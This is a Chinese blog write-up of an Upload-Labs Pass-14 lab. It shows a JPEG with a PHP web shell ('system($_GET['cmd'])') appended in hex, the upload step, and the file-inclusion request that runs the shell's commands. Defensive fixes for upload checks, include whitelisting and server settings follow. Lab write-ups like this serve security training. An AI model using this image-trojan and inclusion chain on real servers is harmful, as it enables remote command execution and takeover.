当前位置: 首页 > news >正文

绕过文件上传漏洞并利用文件包含漏洞获取系统信息的技术分析

绕过文件上传漏洞并利用文件包含漏洞获取系统信息的技术分析

一、实验环境
  • 靶场平台:Upload-Labs(Pass-14)
  • 靶机系统:Windows 8 Business Edition (NT 6.2)
  • Web服务:Apache + PHP 5.4.45
  • 关键漏洞
    1. 文件上传绕过漏洞
    2. 文件包含漏洞(include.php)
  • 实验工具:010 Editor(十六进制编辑器)

二、技术原理

1. 文件上传绕过核心
  • 文件签名欺骗:通过010 Editor在真实图片文件(JPEG)末尾注入恶意PHP代码
  • 绕过检测机制
    • 文件头保留合法的JPEG签名(FF D8 FF E0
    • 文件内容包含完整的图片数据
    • 在文件尾追加PHP代码:<?php system($_GET['cmd']);phpinfo();?>
2. 文件包含漏洞利用
  • 动态文件包含include.php未过滤file参数
  • 远程文件包含:支持http://协议包含外部文件
  • 代码执行:PHP解析器会执行图片中的PHP代码

三、完整攻击步骤

步骤1:构造图片木马
00000000: FFD8 FFE0 0010 4A46 4946 0001 0101 0100  ......JFIF......
00000010: FFDB 0043 0005 0607 0605 0807 0607 0908  ...C............
... (合法的JPEG图片数据) ...
000001F0: FFDB 0043 0108 0909 0C0A 0C17 0C0C 1700  ...C............
00000200: FFDD 1A12 BAB1 49D8 8BC8 6E72 3FCF B52A  ......I...nr?..*
00000210: DBB3 67C5 7573 68AB 0A64 93F7 B0AB FD6A  ..g.ush..d.....j
00000220: 68F4 68E3 0723 E7E4 AFE1 DF5F 7461 2A44  h.h..#....._ta*D
00000230: B99C 0440 0879 EB47 D693 E549 5203 B205  ...@.y.G...IR...
00000240: 2629 7D0A 35A0 5F3F F09F A540 3AA8 A0FD  &)}.5._?...@:...
00000250: FA7C 9191 095C F502 91C7 CDF8 1A8E 5FB7  .|...\........_.
00000260: 4010 D140 A2A4 02D2 D21A 4312 9452 528A  @..@......C..RR.
00000270: 6039 4C4C 86A0 1534 7401 28A5 ED48 2945  `9LL...4t.(..H)E
00000280: 2500 14EA 2803 FF00 D9DC 13B4 28CA 3E45  %...(.......(.>E
00000290: 7CE0 A434 BC52 F912 71A2 B51F E1BF 3C3F  |..4.R..q.....<?
000002A0: 7068 7020 7379 7374 656D 2824 5F47 4554  php system($_GET
000002B0: 5B27 636D 6427 5D29 3B70 6870 696E 666F  ['cmd']);phpinfo
000002C0: 2829 3B3F 3E0A                           ();?>.
步骤2:上传恶意图片
  1. 访问上传页面:http://192.168.1.24/upload-labs/Pass-14/index.php
  2. 选择构造的图片木马上传
  3. 获取存储路径:http://192.168.1.24/upload-labs/upload/7320250810030340.jpg
步骤3:利用文件包含漏洞
GET /upload-labs/include.php?file=http://192.168.1.24/upload-labs/upload/7320250810030340.jpg&cmd=dir HTTP/1.1
Host: 192.168.1.24
步骤4:执行系统命令(示例)
命令参数功能示例输出
cmd=dir列目录A032-9EC7 C:\phpStudy\WWW\upload-labs\upload
cmd=whoami当前用户nt authority\system
cmd=ver系统版本Windows 8 [版本 6.2.9200]

截屏2025-08-10 11.24.43

四、关键漏洞分析

1. 文件上传绕过点
// 伪代码:Pass-14的检测逻辑
if(is_image($_FILES['file']['tmp_name'])) { // 仅检测文件头move_uploaded_file(); // 直接保存文件
}
2. 文件包含漏洞源码
// include.php 关键代码
$file = $_GET['file'];
include($file); // 未过滤直接包含
3. PHP配置缺陷
; php.ini 危险配置
allow_url_fopen = On
allow_url_include = On ; 允许远程文件包含

五、防御方案

1. 文件上传安全加固
// 安全的验证方案
$allowed_types = ['image/jpeg', 'image/png'];
$extension = pathinfo($filename, PATHINFO_EXTENSION);if(in_array($_FILES['file']['type'], $allowed_types) &&in_array($extension, ['jpg','jpeg']) &&getimagesize($_FILES['file']['tmp_name']) // 真实图片检测
) {// 重命名文件+设置存储目录无执行权限$new_name = md5(uniqid()).'.jpg';move_uploaded_file($tmp_name, "/var/www/uploads/$new_name");
}
2. 文件包含漏洞修复
// 白名单过滤方案
$allowed_files = ['header.php', 'footer.php'];
if(in_array($_GET['file'], $allowed_files)) {include($_GET['file']);
} else {die("Invalid file request!");
}
3. 服务器加固措施
# Nginx配置禁止上传目录执行PHP
location ~* ^/uploads/.*\.(php|phar)$ {deny all;
}

六、技术总结

  1. 双重漏洞组合利用

    • 文件上传绕过 → 获取攻击立足点
    • 文件包含漏洞 → 实现代码执行
  2. Windows系统特性

    • 文件扩展名检测不严格(.jpg中的PHP代码仍可执行)
    • 路径解析特性(::$DATA流等绕过方式)
  3. PHP版本影响

    • PHP 5.4.45存在allow_url_include默认开启风险
    • 旧版本对特殊字符过滤不足

防御核心:采用"纵深防御"策略,在文件上传、存储、访问三个层面分别设置安全措施,避免单点防护失效导致系统沦陷。

此技术文章可用于网络安全知识分享,请严格遵守《网络安全法》,仅用于授权测试和教育目的。

http://www.dtcms.com/a/324494.html

相关文章:

  • 使用MongoDB存储和计算距离
  • Spring Boot 2 升级 Spring Boot 3 的全方位深度指南
  • Leetcode 3644. Maximum K to Sort a Permutation
  • 9_基于深度学习的车型检测识别系统(yolo11、yolov8、yolov5+UI界面+Python项目源码+模型+标注好的数据集)
  • Error: error:0308010C:digital envelope routines::unsupported at new Hash
  • 【Python 小脚本·大用途 · 第 3 篇】
  • 编译xformers
  • 【深度学习新浪潮】遥感图像风格化迁移研究工作介绍
  • 学习记录(十九)-Overleaf如何插入图片(单,多)
  • 学习模板元编程(3)enable_if
  • CART算法:Gini指数
  • 25.机器学习入门:让机器变聪明的魔法课
  • 串口通信初始化过程是怎样的???
  • IDEA 快捷编辑指南
  • Java开源代码源码研究:我的成长之路与实战心得分享
  • IDEA 安装插件的两种方式
  • 【面试场景题】异地多活改造方案
  • AI大模型--提示词工程
  • CVPR医学图像三套创新方案:通用分割+3D高效解码+SSM肿瘤定位(附链接)
  • 如何解决网站长期不连接数据库后首次连接缓慢的问题?
  • JS--判断是对象还是数组
  • Spring之【详解AOP】
  • 使用 Docker-Compose 部署 Redis 三主三从集群(含 Exporter 监控)
  • SQL Server从入门到项目实践(超值版)读书笔记 23
  • Windows 11 安装 JDK 11
  • ThreadLocal的原理是什么,使用场景有哪些?
  • 【自动化运维神器Ansible】playbook案例解析:Handlers与Notify机制深度解析
  • Vue3入门到精通:2.4 Vue3动态组件与异步组件深度解析
  • leetcode经典题目——单调栈
  • 【Python 工具人快餐 · 第 7 份 · 完结】